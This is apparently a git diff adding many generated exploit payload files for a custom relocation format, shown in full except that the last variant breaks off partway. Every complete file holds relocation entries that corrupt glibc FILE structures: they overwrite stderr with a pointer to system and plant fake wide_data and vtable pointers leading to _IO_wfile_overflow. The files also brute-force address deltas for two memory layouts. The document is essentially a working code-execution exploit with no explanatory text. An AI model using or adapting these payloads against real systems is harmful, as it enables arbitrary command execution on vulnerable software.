off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x05
|
||||
buf_delta=0xef210000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x05
|
||||
buf_delta=0xf020ff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x05
|
||||
buf_delta=0xf020ff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x06
|
||||
buf_delta=0xef210000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x06
|
||||
buf_delta=0xef210000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x06
|
||||
buf_delta=0xf020ff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=orig
|
||||
flag_byte4=0x06
|
||||
buf_delta=0xf020ff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
|
||||
|
||||
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
|
||||
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
|
||||
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
|
||||
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
|
||||
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
|
||||
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
|
||||
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x05
|
||||
buf_delta=0x6f300000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x05
|
||||
buf_delta=0x6f300000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x05
|
||||
buf_delta=0x702fff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x05
|
||||
buf_delta=0x702fff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x06
|
||||
buf_delta=0x6f300000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
